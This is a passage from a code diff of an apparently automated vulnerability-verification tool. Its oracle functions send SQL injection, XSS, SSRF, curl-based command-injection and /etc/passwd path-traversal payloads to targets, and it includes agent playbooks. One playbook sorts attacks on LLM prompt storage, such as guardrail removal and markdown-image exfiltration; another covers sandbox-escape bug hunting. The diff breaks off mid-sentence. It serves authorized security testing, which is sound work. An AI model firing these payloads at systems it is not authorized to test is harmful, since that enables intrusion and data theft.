/\bMicrosoft\s+SQL\s+Server\b.*?\b(error|exception)\b/i,
|
|
165
|
-
/\bUnclosed quotation mark\b/i,
|
|
166
|
-
/\bOLE DB.*?SQL Server\b/i,
|
|
167
|
-
// Oracle
|
|
168
|
-
/\bORA-\d{4,5}\b/i,
|
|
169
|
-
/\bquoted string not properly terminated\b/i
|
|
170
|
-
];
|
|
171
|
-
function detectSqlError(body) {
|
|
172
|
-
for (const re of SQL_ERROR_PATTERNS) {
|
|
173
|
-
const m = body.match(re);
|
|
174
|
-
if (m)
|
|
175
|
-
return m[0];
|
|
176
|
-
}
|
|
177
|
-
return null;
|
|
178
|
-
}
|
|
179
|
-
function pickInjectableParam(parsed) {
|
|
180
|
-
for (const [k, v] of Object.entries(parsed.params)) {
|
|
181
|
-
if (v && v.length > 0)
|
|
182
|
-
return { key: k, value: v };
|
|
183
|
-
}
|
|
184
|
-
const first = Object.keys(parsed.params)[0];
|
|
185
|
-
if (first)
|
|
186
|
-
return { key: first, value: parsed.params[first] ?? "" };
|
|
187
|
-
return null;
|
|
188
|
-
}
|
|
189
|
-
async function verifySqli(finding, target, context = {}) {
|
|
190
|
-
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
191
|
-
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
192
|
-
const victim = pickInjectableParam(parsed);
|
|
193
|
-
if (!victim)
|
|
194
|
-
return notVerifiable("no injectable parameter found in finding evidence");
|
|
195
|
-
const signals = [];
|
|
196
|
-
const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: victim.value })));
|
|
197
|
-
if (!baseline)
|
|
198
|
-
return notVerifiable("baseline request failed");
|
|
199
|
-
const trueProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=1-- -` })));
|
|
200
|
-
const falseProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=2-- -` })));
|
|
201
|
-
if (trueProbe && falseProbe && trueProbe.body.length > 0) {
|
|
202
|
-
const delta = Math.abs(trueProbe.body.length - falseProbe.body.length) / Math.max(trueProbe.body.length, 1);
|
|
203
|
-
if (delta > 0.1) {
|
|
204
|
-
signals.push(`boolean_diff: |true|=${trueProbe.body.length} |false|=${falseProbe.body.length} delta=${delta.toFixed(2)}`);
|
|
205
|
-
}
|
|
206
|
-
}
|
|
207
|
-
const timePayloads = [
|
|
208
|
-
`${victim.value}' AND SLEEP(3)-- -`,
|
|
209
|
-
`${victim.value}'; SELECT pg_sleep(3)-- -`,
|
|
210
|
-
`${victim.value}' AND (SELECT 1 FROM (SELECT SLEEP(3))a)-- -`
|
|
211
|
-
];
|
|
212
|
-
for (const payload of timePayloads) {
|
|
213
|
-
const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: payload })), 8e3);
|
|
214
|
-
if (probe && baseline.latencyMs < 500 && probe.latencyMs > 2500) {
|
|
215
|
-
signals.push(`time_based: baseline=${baseline.latencyMs}ms probe=${probe.latencyMs}ms`);
|
|
216
|
-
break;
|
|
217
|
-
}
|
|
218
|
-
}
|
|
219
|
-
const errProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}'` })));
|
|
220
|
-
if (errProbe) {
|
|
221
|
-
const err = detectSqlError(errProbe.body);
|
|
222
|
-
if (err)
|
|
223
|
-
signals.push(`sql_error: ${err}`);
|
|
224
|
-
}
|
|
225
|
-
if (signals.length >= 2) {
|
|
226
|
-
return verified(signals.join(" | "));
|
|
227
|
-
}
|
|
228
|
-
return {
|
|
229
|
-
verified: false,
|
|
230
|
-
confidence: signals.length === 1 ? 0.4 : 0,
|
|
231
|
-
evidence: signals.join(" | "),
|
|
232
|
-
reason: signals.length === 1 ? `only 1/3 sqli signals fired: ${signals[0]}` : "no sqli signals fired"
|
|
233
|
-
};
|
|
234
|
-
}
|
|
235
|
-
async function verifyReflectedXss(finding, target, context = {}) {
|
|
236
|
-
const timedFetch = (url2, init2, timeoutMs) => fetchWithTimeout(url2, init2, timeoutMs, context);
|
|
237
|
-
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
238
|
-
const victim = pickInjectableParam(parsed);
|
|
239
|
-
if (!victim)
|
|
240
|
-
return notVerifiable("no injectable parameter found in finding evidence");
|
|
241
|
-
const token = `osec_${randomUUID().replace(/-/g, "")}`;
|
|
242
|
-
const payload = `<script>alert('${token}')</script>`;
|
|
243
|
-
const { url, init } = buildProbeRequest(parsed, {
|
|
244
|
-
[victim.key]: payload
|
|
245
|
-
});
|
|
246
|
-
const probe = await timedFetch(url, init);
|
|
247
|
-
const htmlReflected = !!probe && probe.body.includes(payload) && !probe.body.includes(`<script>alert('${token}')</script>`);
|
|
248
|
-
let playwright = null;
|
|
249
|
-
try {
|
|
250
|
-
playwright = await import("playwright");
|
|
251
|
-
} catch {
|
|
252
|
-
}
|
|
253
|
-
if (playwright) {
|
|
254
|
-
let browser = null;
|
|
255
|
-
try {
|
|
256
|
-
browser = await playwright.chromium.launch({ headless: true });
|
|
257
|
-
const page = await browser.newPage();
|
|
258
|
-
let dialogMessage = "";
|
|
259
|
-
page.on("dialog", async (dialog) => {
|
|
260
|
-
if (dialog.type() === "alert" && dialog.message() === token) {
|
|
261
|
-
dialogMessage = token;
|
|
262
|
-
}
|
|
263
|
-
await dialog.dismiss().catch(() => {
|
|
264
|
-
});
|
|
265
|
-
});
|
|
266
|
-
let replayed = false;
|
|
267
|
-
await page.route(context.fetch ? "**/*" : (candidate) => candidate.href === new URL(url).href, async (route) => {
|
|
268
|
-
const request = route.request();
|
|
269
|
-
const initial = !replayed && request.isNavigationRequest() && request.frame() === page.mainFrame();
|
|
270
|
-
if (initial)
|
|
271
|
-
replayed = true;
|
|
272
|
-
const replayInit = {
|
|
273
|
-
method: initial ? init.method : request.method(),
|
|
274
|
-
headers: initial ? init.headers : request.headers(),
|
|
275
|
-
body: initial ? init.body : request.postData(),
|
|
276
|
-
redirect: "manual"
|
|
277
|
-
};
|
|
278
|
-
if (context.fetch) {
|
|
279
|
-
try {
|
|
280
|
-
const response = await context.fetch(request.url(), replayInit);
|
|
281
|
-
const headers = Object.fromEntries(response.headers);
|
|
282
|
-
delete headers["content-encoding"];
|
|
283
|
-
delete headers["content-length"];
|
|
284
|
-
await route.fulfill({ status: response.status, headers, body: Buffer.from(await response.arrayBuffer()) });
|
|
285
|
-
} catch {
|
|
286
|
-
await route.abort();
|
|
287
|
-
}
|
|
288
|
-
} else if (initial) {
|
|
289
|
-
await route.continue({
|
|
290
|
-
method: init.method,
|
|
291
|
-
headers: { ...request.headers(), ...Object.fromEntries(new Headers(init.headers)) },
|
|
292
|
-
...typeof init.body === "string" ? { postData: init.body } : {}
|
|
293
|
-
});
|
|
294
|
-
} else {
|
|
295
|
-
await route.continue();
|
|
296
|
-
}
|
|
297
|
-
});
|
|
298
|
-
await page.goto(url, { timeout: 8e3, waitUntil: "domcontentloaded" });
|
|
299
|
-
await page.waitForTimeout(500);
|
|
300
|
-
await browser.close();
|
|
301
|
-
browser = null;
|
|
302
|
-
if (dialogMessage === token) {
|
|
303
|
-
return verified(`playwright dialog captured token=${token} message="${dialogMessage}"`);
|
|
304
|
-
}
|
|
305
|
-
} catch (err) {
|
|
306
|
-
if (browser)
|
|
307
|
-
await browser.close().catch(() => {
|
|
308
|
-
});
|
|
309
|
-
return {
|
|
310
|
-
verified: false,
|
|
311
|
-
confidence: htmlReflected ? 0.4 : 0,
|
|
312
|
-
evidence: htmlReflected ? `html_reflection: payload reflected in body` : "",
|
|
313
|
-
inconclusive: true,
|
|
314
|
-
reason: `playwright navigation failed: ${err.message}`
|
|
315
|
-
};
|
|
316
|
-
}
|
|
317
|
-
}
|
|
318
|
-
if (htmlReflected) {
|
|
319
|
-
return {
|
|
320
|
-
verified: false,
|
|
321
|
-
confidence: 0.5,
|
|
322
|
-
evidence: `html_reflection: payload reflected unencoded in response body`,
|
|
323
|
-
reason: "payload reflected but no alert dialog captured (playwright unavailable or dialog didn't fire)"
|
|
324
|
-
};
|
|
325
|
-
}
|
|
326
|
-
return notVerifiable("no xss reflection or alert captured");
|
|
327
|
-
}
|
|
328
|
-
async function withCollector(nonce, timeoutMs, work) {
|
|
329
|
-
const port = 8888 + Math.floor(Math.random() * 1e3);
|
|
330
|
-
let hit = false;
|
|
331
|
-
const server = createServer((req, res) => {
|
|
332
|
-
if ((req.url ?? "").includes(nonce))
|
|
333
|
-
hit = true;
|
|
334
|
-
res.writeHead(200);
|
|
335
|
-
res.end("ok");
|
|
336
|
-
});
|
|
337
|
-
await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
|
|
338
|
-
const collectorUrl = `http://127.0.0.1:${port}/${nonce}`;
|
|
339
|
-
const waitForHit = async () => {
|
|
340
|
-
const deadline = Date.now() + timeoutMs;
|
|
341
|
-
while (Date.now() < deadline) {
|
|
342
|
-
if (hit)
|
|
343
|
-
return true;
|
|
344
|
-
await new Promise((r) => setTimeout(r, 100));
|
|
345
|
-
}
|
|
346
|
-
return hit;
|
|
347
|
-
};
|
|
348
|
-
try {
|
|
349
|
-
return await work(collectorUrl, waitForHit);
|
|
350
|
-
} finally {
|
|
351
|
-
await new Promise((resolve) => server.close(() => resolve()));
|
|
352
|
-
}
|
|
353
|
-
}
|
|
354
|
-
async function verifySsrf(finding, target, context = {}) {
|
|
355
|
-
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
356
|
-
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
357
|
-
const victim = pickInjectableParam(parsed);
|
|
358
|
-
if (!victim)
|
|
359
|
-
return notVerifiable("no injectable parameter found in finding evidence");
|
|
360
|
-
const nonce = `ssrf${randomUUID().replace(/-/g, "").slice(0, 16)}`;
|
|
361
|
-
return withCollector(nonce, 6e3, async (collectorUrl, waitForHit) => {
|
|
362
|
-
const { url, init } = buildProbeRequest(parsed, {
|
|
363
|
-
[victim.key]: collectorUrl
|
|
364
|
-
});
|
|
365
|
-
const probe = await timedFetch(url, init, 8e3);
|
|
366
|
-
if (!probe)
|
|
367
|
-
return notVerifiable("ssrf probe failed to send");
|
|
368
|
-
const hit = await waitForHit();
|
|
369
|
-
if (hit) {
|
|
370
|
-
return verified(`collector hit: nonce=${nonce} path=/${nonce}`);
|
|
371
|
-
}
|
|
372
|
-
return {
|
|
373
|
-
verified: false,
|
|
374
|
-
confidence: 0,
|
|
375
|
-
evidence: "",
|
|
376
|
-
reason: `collector never received a request for nonce=${nonce}`
|
|
377
|
-
};
|
|
378
|
-
});
|
|
379
|
-
}
|
|
380
|
-
async function verifyRce(finding, target, context = {}) {
|
|
381
|
-
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
382
|
-
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
383
|
-
const victim = pickInjectableParam(parsed);
|
|
384
|
-
if (!victim)
|
|
385
|
-
return notVerifiable("no injectable parameter found in finding evidence");
|
|
386
|
-
const nonce = `rce${randomUUID().replace(/-/g, "").slice(0, 16)}`;
|
|
387
|
-
return withCollector(nonce, 8e3, async (collectorUrl, waitForHit) => {
|
|
388
|
-
const payloads = [
|
|
389
|
-
`${victim.value};curl ${collectorUrl}`,
|
|
390
|
-
`${victim.value}|curl ${collectorUrl}`,
|
|
391
|
-
`${victim.value}$(curl ${collectorUrl})`,
|
|
392
|
-
`${victim.value}\`curl ${collectorUrl}\``,
|
|
393
|
-
`${victim.value}&&curl ${collectorUrl}`
|
|
394
|
-
];
|
|
395
|
-
for (const payload of payloads) {
|
|
396
|
-
const { url, init } = buildProbeRequest(parsed, {
|
|
397
|
-
[victim.key]: payload
|
|
398
|
-
});
|
|
399
|
-
await timedFetch(url, init, 8e3);
|
|
400
|
-
}
|
|
401
|
-
const hit = await waitForHit();
|
|
402
|
-
if (hit)
|
|
403
|
-
return verified(`collector hit: nonce=${nonce}`);
|
|
404
|
-
return {
|
|
405
|
-
verified: false,
|
|
406
|
-
confidence: 0,
|
|
407
|
-
evidence: "",
|
|
408
|
-
reason: `collector never received a request for nonce=${nonce}`
|
|
409
|
-
};
|
|
410
|
-
});
|
|
411
|
-
}
|
|
412
|
-
var PASSWD_PATTERN = /root:x:0:0:|\/bin\/(bash|sh|dash)/;
|
|
413
|
-
async function verifyPathTraversal(finding, target, context = {}) {
|
|
414
|
-
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
415
|
-
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
416
|
-
const victim = pickInjectableParam(parsed);
|
|
417
|
-
if (!victim)
|
|
418
|
-
return notVerifiable("no injectable parameter found in finding evidence");
|
|
419
|
-
const payloads = [
|
|
420
|
-
"../../../../etc/passwd",
|
|
421
|
-
"..%2f..%2f..%2f..%2fetc%2fpasswd",
|
|
422
|
-
"..%252f..%252f..%252fetc%252fpasswd",
|
|
423
|
-
"../../../../etc/passwd%00",
|
|
424
|
-
"....//....//....//etc/passwd",
|
|
425
|
-
"/etc/passwd"
|
|
426
|
-
];
|
|
427
|
-
for (const payload of payloads) {
|
|
428
|
-
const { url, init } = buildProbeRequest(parsed, {
|
|
429
|
-
[victim.key]: payload
|
|
430
|
-
});
|
|
431
|
-
const probe = await timedFetch(url, init);
|
|
432
|
-
if (!probe)
|
|
433
|
-
continue;
|
|
434
|
-
const m = probe.body.match(PASSWD_PATTERN);
|
|
435
|
-
if (m) {
|
|
436
|
-
return verified(`payload=${payload} response contained "${m[0]}"`);
|
|
437
|
-
}
|
|
438
|
-
}
|
|
439
|
-
return notVerifiable("no /etc/passwd signature in any traversal probe response");
|
|
440
|
-
}
|
|
441
|
-
async function verifyIdor(finding, target, context = {}) {
|
|
442
|
-
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
443
|
-
const boundary = await context.verifyAccessControl?.(finding, target);
|
|
444
|
-
if (boundary)
|
|
445
|
-
return boundary;
|
|
446
|
-
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
447
|
-
if (parsed.method !== "GET")
|
|
448
|
-
return notVerifiable("read-only IDOR oracle requires GET; use an explicitly opted-in state-observing workflow for mutations");
|
|
449
|
-
let idKey = null;
|
|
450
|
-
let idValue = 0;
|
|
451
|
-
for (const [k, v] of Object.entries(parsed.params)) {
|
|
452
|
-
if (/^(id|uid|user_id|account_id|order_id|pid)$/i.test(k) && /^\d+$/.test(v)) {
|
|
453
|
-
idKey = k;
|
|
454
|
-
idValue = parseInt(v, 10);
|
|
455
|
-
break;
|
|
456
|
-
}
|
|
457
|
-
}
|
|
458
|
-
if (!idKey) {
|
|
459
|
-
for (const [k, v] of Object.entries(parsed.params)) {
|
|
460
|
-
if (/^\d+$/.test(v)) {
|
|
461
|
-
idKey = k;
|
|
462
|
-
idValue = parseInt(v, 10);
|
|
463
|
-
break;
|
|
464
|
-
}
|
|
465
|
-
}
|
|
466
|
-
}
|
|
467
|
-
if (!idKey)
|
|
468
|
-
return notVerifiable("no numeric id-like parameter to mutate");
|
|
469
|
-
const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: String(idValue) })));
|
|
470
|
-
if (!baseline)
|
|
471
|
-
return notVerifiable("baseline request failed");
|
|
472
|
-
const variants = [String(idValue + 1), String(Math.max(0, idValue - 1)), "0"];
|
|
473
|
-
const hits = [];
|
|
474
|
-
for (const variant of variants) {
|
|
475
|
-
if (variant === String(idValue))
|
|
476
|
-
continue;
|
|
477
|
-
const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: variant })));
|
|
478
|
-
if (!probe)
|
|
479
|
-
continue;
|
|
480
|
-
if (probe.status === 200 && probe.body.length > 0 && probe.body !== baseline.body) {
|
|
481
|
-
hits.push(`${idKey}=${variant} status=200 body_delta=${Math.abs(probe.body.length - baseline.body.length)}`);
|
|
482
|
-
}
|
|
483
|
-
}
|
|
484
|
-
if (hits.length > 0) {
|
|
485
|
-
return {
|
|
486
|
-
verified: false,
|
|
487
|
-
confidence: 0.7,
|
|
488
|
-
inconclusive: true,
|
|
489
|
-
evidence: `distinct responses on id mutation: ${hits.join(", ")}`,
|
|
490
|
-
reason: "distinct ID responses are a candidate only; identity and resource ownership were not established"
|
|
491
|
-
};
|
|
492
|
-
}
|
|
493
|
-
return notVerifiable("no distinct 200 response on id mutation");
|
|
494
|
-
}
|
|
495
|
-
async function verifyOracleByCategory(finding, target, context = {}) {
|
|
496
|
-
const category = finding.category;
|
|
497
|
-
switch (category) {
|
|
498
|
-
case "sql-injection":
|
|
499
|
-
return verifySqli(finding, target, context);
|
|
500
|
-
case "xss":
|
|
501
|
-
return verifyReflectedXss(finding, target, context);
|
|
502
|
-
case "ssrf":
|
|
503
|
-
return verifySsrf(finding, target, context);
|
|
504
|
-
case "command-injection":
|
|
505
|
-
case "code-injection":
|
|
506
|
-
return verifyRce(finding, target, context);
|
|
507
|
-
case "path-traversal":
|
|
508
|
-
return verifyPathTraversal(finding, target, context);
|
|
509
|
-
// Heuristic: "information-disclosure" findings referencing an id param
|
|
510
|
-
// look a lot like IDOR. We route them through the IDOR oracle as well.
|
|
511
|
-
case "information-disclosure":
|
|
512
|
-
return verifyIdor(finding, target, context);
|
|
513
|
-
default:
|
|
514
|
-
return {
|
|
515
|
-
verified: false,
|
|
516
|
-
confidence: 0,
|
|
517
|
-
evidence: "",
|
|
518
|
-
reason: `no oracle for category="${category}"`
|
|
519
|
-
};
|
|
520
|
-
}
|
|
521
|
-
}
|
|
522
|
-
|
|
523
|
-
// packages/core/dist/review/sanitizer-log.js
|
|
524
|
-
var ASAN_CATEGORY_BY_KIND = {
|
|
525
|
-
"heap-use-after-free": "use-after-free",
|
|
526
|
-
"stack-use-after-return": "use-after-free",
|
|
527
|
-
"stack-use-after-scope": "use-after-free",
|
|
528
|
-
"double-free": "double-free",
|
|
529
|
-
"attempting-double-free": "double-free",
|
|
530
|
-
"stack-buffer-overflow": "stack-buffer-overflow",
|
|
531
|
-
"heap-buffer-overflow": "heap-overflow",
|
|
532
|
-
"global-buffer-overflow": "heap-overflow"
|
|
533
|
-
};
|
|
534
|
-
function categoryForAsan(kind, primitive) {
|
|
535
|
-
if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "read") {
|
|
536
|
-
return "out-of-bounds-read";
|
|
537
|
-
}
|
|
538
|
-
if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "write") {
|
|
539
|
-
return "out-of-bounds-write";
|
|
540
|
-
}
|
|
541
|
-
return ASAN_CATEGORY_BY_KIND[kind] ?? "other";
|
|
542
|
-
}
|
|
543
|
-
function categoryForUbsan(message) {
|
|
544
|
-
const lower = message.toLowerCase();
|
|
545
|
-
if (lower.includes("signed integer overflow") || lower.includes("unsigned integer overflow")) {
|
|
546
|
-
return { kind: "signed-integer-overflow", category: "integer-overflow" };
|
|
547
|
-
}
|
|
548
|
-
if (lower.includes("shift exponent") || lower.includes("shift base")) {
|
|
549
|
-
return { kind: "shift-exponent", category: "integer-overflow" };
|
|
550
|
-
}
|
|
551
|
-
if (lower.includes("float-cast-overflow") || lower.includes("outside the range of representable values")) {
|
|
552
|
-
return { kind: "float-cast-overflow", category: "integer-truncation" };
|
|
553
|
-
}
|
|
554
|
-
if (lower.includes("null pointer") || lower.includes("null-pointer")) {
|
|
555
|
-
return { kind: "null-pointer-use", category: "null-deref" };
|
|
556
|
-
}
|
|
557
|
-
return { kind: "undefined-behavior", category: "other" };
|
|
558
|
-
}
|
|
559
|
-
function parsePrimitive(text) {
|
|
560
|
-
const access = text.match(/\b(READ|WRITE) of size (\d+)/i);
|
|
561
|
-
if (!access)
|
|
562
|
-
return { primitive: "unknown" };
|
|
563
|
-
return {
|
|
564
|
-
primitive: access[1].toLowerCase(),
|
|
565
|
-
accessSize: Number(access[2])
|
|
566
|
-
};
|
|
567
|
-
}
|
|
568
|
-
function parseFrames(text) {
|
|
569
|
-
const frames = [];
|
|
570
|
-
const frameRegex = /^\s*#\d+\s+0x[0-9a-fA-F]+\s+in\s+(?:(\S+)\s+)?(.+?):(\d+)(?::\d+)?(?:\s|$)/gm;
|
|
571
|
-
let match;
|
|
572
|
-
while ((match = frameRegex.exec(text)) !== null) {
|
|
573
|
-
frames.push({
|
|
574
|
-
functionName: match[1],
|
|
575
|
-
file: match[2],
|
|
576
|
-
line: Number(match[3])
|
|
577
|
-
});
|
|
578
|
-
}
|
|
579
|
-
return frames;
|
|
580
|
-
}
|
|
581
|
-
function parseAsan(text) {
|
|
582
|
-
const header = text.match(/ERROR:\s*AddressSanitizer:\s*([a-z0-9-]+)/i);
|
|
583
|
-
if (!header?.[1])
|
|
584
|
-
return null;
|
|
585
|
-
const kind = header[1].toLowerCase();
|
|
586
|
-
const { primitive, accessSize } = parsePrimitive(text);
|
|
587
|
-
const frames = parseFrames(text);
|
|
588
|
-
let sourceFile = frames[0]?.file;
|
|
589
|
-
let sourceLine = frames[0]?.line;
|
|
590
|
-
const summary = text.match(/SUMMARY:\s*AddressSanitizer:\s*[a-z0-9-]+\s+(.+?):(\d+)(?::\d+)?/i);
|
|
591
|
-
if ((!sourceFile || !sourceLine) && summary?.[1] && summary?.[2]) {
|
|
592
|
-
sourceFile = summary[1];
|
|
593
|
-
sourceLine = Number(summary[2]);
|
|
594
|
-
}
|
|
595
|
-
const allocMatch = text.match(/\b(\d+)-byte region\b/i);
|
|
596
|
-
const allocSize = allocMatch?.[1] ? Number(allocMatch[1]) : void 0;
|
|
597
|
-
return {
|
|
598
|
-
sanitizer: "asan",
|
|
599
|
-
kind,
|
|
600
|
-
category: categoryForAsan(kind, primitive),
|
|
601
|
-
primitive,
|
|
602
|
-
sourceFile,
|
|
603
|
-
sourceLine,
|
|
604
|
-
allocSize,
|
|
605
|
-
accessSize,
|
|
606
|
-
summary: text.split("\n").find((line) => line.includes("ERROR: AddressSanitizer"))?.trim() ?? kind,
|
|
607
|
-
frames
|
|
608
|
-
};
|
|
609
|
-
}
|
|
610
|
-
function parseUbsan(text) {
|
|
611
|
-
const runtime = text.match(/^(.+?):(\d+):(?:(\d+):)?\s*runtime error:\s*(.+)$/m);
|
|
612
|
-
if (!runtime?.[1] || !runtime?.[2] || !runtime?.[4])
|
|
613
|
-
return null;
|
|
614
|
-
const details = runtime[4].trim();
|
|
615
|
-
const { kind, category } = categoryForUbsan(details);
|
|
616
|
-
return {
|
|
617
|
-
sanitizer: "ubsan",
|
|
618
|
-
kind,
|
|
619
|
-
category,
|
|
620
|
-
primitive: "unknown",
|
|
621
|
-
sourceFile: runtime[1],
|
|
622
|
-
sourceLine: Number(runtime[2]),
|
|
623
|
-
summary: details,
|
|
624
|
-
frames: []
|
|
625
|
-
};
|
|
626
|
-
}
|
|
627
|
-
function parseSanitizerLog(text) {
|
|
628
|
-
const trimmed = text.trim();
|
|
629
|
-
if (!trimmed)
|
|
630
|
-
return null;
|
|
631
|
-
return parseAsan(trimmed) ?? parseUbsan(trimmed);
|
|
632
|
-
}
|
|
633
|
-
function renderSanitizerVerdict(verdict) {
|
|
634
|
-
const loc = verdict.sourceFile ? `${verdict.sourceFile}${verdict.sourceLine ? `:${verdict.sourceLine}` : ""}` : "unknown location";
|
|
635
|
-
const sizes = [
|
|
636
|
-
verdict.accessSize !== void 0 ? `access=${verdict.accessSize}` : null,
|
|
637
|
-
verdict.allocSize !== void 0 ? `allocation=${verdict.allocSize}` : null
|
|
638
|
-
].filter(Boolean).join(", ");
|
|
639
|
-
return [
|
|
640
|
-
`${verdict.sanitizer.toUpperCase()} ${verdict.kind}`,
|
|
641
|
-
`category=${verdict.category}`,
|
|
642
|
-
`primitive=${verdict.primitive}`,
|
|
643
|
-
`source=${loc}`,
|
|
644
|
-
sizes || null
|
|
645
|
-
].filter(Boolean).join("; ");
|
|
646
|
-
}
|
|
8
|
+
// packages/core/dist/stages/memsafety-scan.js
|
|
9
|
+
import { randomUUID as randomUUID2 } from "node:crypto";
|
|
647
10
|
|
|
648
11
|
// packages/core/dist/agent/playbooks.js
|
|
649
12
|
var PLAYBOOKS = {
|
|
@@ -1354,682 +717,2829 @@ Prefer read-only introspection: \`information_schema.columns\`, \`SHOW TABLES\`,
|
|
|
1354
717
|
- The finding is "this prompt row is attacker-writable and consumed at inference",
|
|
1355
718
|
proven by privilege + re-read evidence \u2014 not by a destructive UPDATE.
|
|
1356
719
|
|
|
1357
|
-
### Step 3: Model the impact (classify, narrate \u2014 no live tampering)
|
|
1358
|
-
Map each writable prompt-layer asset to its impact class:
|
|
1359
|
-
- **prompt_poisoning** \u2014 rewriting the system prompt / persona / instructions \u2192
|
|
1360
|
-
full hijack of every response (exfil instructions, scams, malware links,
|
|
1361
|
-
brand-damaging output) for all users, persistently.
|
|
1362
|
-
- **guardrail_removal** \u2014 editing safety/refusal/policy text or flipping a
|
|
1363
|
-
\`safety_settings\`/\`moderation\` flag \u2192 jailbreak-by-config; the model now
|
|
1364
|
-
answers what it used to refuse.
|
|
1365
|
-
- **output_channel_exfil** \u2014 injecting an instruction that makes the model emit
|
|
1366
|
-
attacker URLs (markdown-image / link exfil) or push data into an output sink \u2192
|
|
1367
|
-
silent data exfiltration on every conversation (pairs with
|
|
1368
|
-
\`insecure_output_handling\`).
|
|
1369
|
-
- **model_config_tamper** \u2014 swapping the model name, raising temperature, or
|
|
1370
|
-
rewiring tool/function config \u2192 degraded safety, or steering the agent toward
|
|
1371
|
-
attacker-chosen tools (pairs with \`excessive_agency\`).
|
|
720
|
+
### Step 3: Model the impact (classify, narrate \u2014 no live tampering)
|
|
721
|
+
Map each writable prompt-layer asset to its impact class:
|
|
722
|
+
- **prompt_poisoning** \u2014 rewriting the system prompt / persona / instructions \u2192
|
|
723
|
+
full hijack of every response (exfil instructions, scams, malware links,
|
|
724
|
+
brand-damaging output) for all users, persistently.
|
|
725
|
+
- **guardrail_removal** \u2014 editing safety/refusal/policy text or flipping a
|
|
726
|
+
\`safety_settings\`/\`moderation\` flag \u2192 jailbreak-by-config; the model now
|
|
727
|
+
answers what it used to refuse.
|
|
728
|
+
- **output_channel_exfil** \u2014 injecting an instruction that makes the model emit
|
|
729
|
+
attacker URLs (markdown-image / link exfil) or push data into an output sink \u2192
|
|
730
|
+
silent data exfiltration on every conversation (pairs with
|
|
731
|
+
\`insecure_output_handling\`).
|
|
732
|
+
- **model_config_tamper** \u2014 swapping the model name, raising temperature, or
|
|
733
|
+
rewiring tool/function config \u2192 degraded safety, or steering the agent toward
|
|
734
|
+
attacker-chosen tools (pairs with \`excessive_agency\`).
|
|
735
|
+
|
|
736
|
+
### Step 4: Produce the impact narrative + save
|
|
737
|
+
- Write the narrative: which row/column, which impact class(es), blast radius
|
|
738
|
+
(all users / one tenant), persistence (survives restarts because it's in the DB),
|
|
739
|
+
and the proof that it's writable + re-read.
|
|
740
|
+
- \`save_finding\` with: the table/column/key, a read-only sample of the current
|
|
741
|
+
prompt, the privilege/re-read evidence, the impact classification, and the
|
|
742
|
+
narrative. Explicitly note that NO destructive write was performed.`,
|
|
743
|
+
rust_memsafety: `## Rust / Userspace Memory-Safety & Sandbox-Escape Playbook ("Monty-mode")
|
|
744
|
+
|
|
745
|
+
The target is a memory-safe-by-default language runtime (e.g. a Rust-written
|
|
746
|
+
Python interpreter / sandbox such as Pydantic Monty). The bug class is memory
|
|
747
|
+
corruption reachable from attacker-controlled scripting: use-after-free,
|
|
748
|
+
double-free, type confusion, OOB, and **GC-root gaps**. This is discovery +
|
|
749
|
+
classification, NOT autonomous exploit synthesis (see
|
|
750
|
+
docs/0-rust-memsafety-pipeline.md).
|
|
751
|
+
|
|
752
|
+
### HARD CONSTRAINTS \u2014 bounty rules (never violate)
|
|
753
|
+
1. **Never open a PR or change code** in the target or any of its dependencies.
|
|
754
|
+
You are auditing, not patching \u2014 do not push, fork-and-PR, or submit upstream.
|
|
755
|
+
2. **Never DoS the live endpoint.** No fuzzing, flooding, resource-exhaustion,
|
|
756
|
+
or load against the hosted/live service (e.g. hackmonty.com).
|
|
757
|
+
3. **Discovery happens against a LOCAL instrumented build only** \u2014 clone the
|
|
758
|
+
source, build with sanitizers (ASAN/UBSAN) or run under \`cargo fuzz\` / \`miri\`,
|
|
759
|
+
and reproduce locally. The live site is only for confirming scope, never the hunt.
|
|
760
|
+
|
|
761
|
+
### Step 1: Unsafe-block + boundary enumeration
|
|
762
|
+
- Enumerate every \`unsafe\` block: \`grep -rn "unsafe" --include=*.rs\` and read each
|
|
763
|
+
one. \`unsafe\` is where Rust's guarantees are hand-waved \u2014 that is the audit surface.
|
|
764
|
+
- Audit the PyO3 / C-API / FFI boundary specifically: \`Py_INCREF\`/\`Py_DECREF\`,
|
|
765
|
+
\`PyObject\` raw pointers, \`from_raw\`/\`into_raw\`, \`transmute\`, \`MaybeUninit\`,
|
|
766
|
+
\`mem::forget\`, \`ManuallyDrop\`, raw \`*mut\`/\`*const\` deref, and any place a Python
|
|
767
|
+
object's lifetime is managed by hand rather than by the borrow checker.
|
|
768
|
+
- Flag refcount math done manually (incref/decref imbalance \u2192 UAF or leak) and any
|
|
769
|
+
\`&mut\` aliasing smuggled across the FFI line (\u2192 type confusion / aliasing UB).
|
|
770
|
+
|
|
771
|
+
### Step 2: GC-root variant-hunt (the round-1 methodology)
|
|
772
|
+
Round-1 win was a use-after-free via a **missing GC root**: \`list.sort\` held a
|
|
773
|
+
reference to an object the garbage collector did not trace, so it was freed
|
|
774
|
+
mid-operation and then used. The patch "extended the GC root set" \u2014 which means
|
|
775
|
+
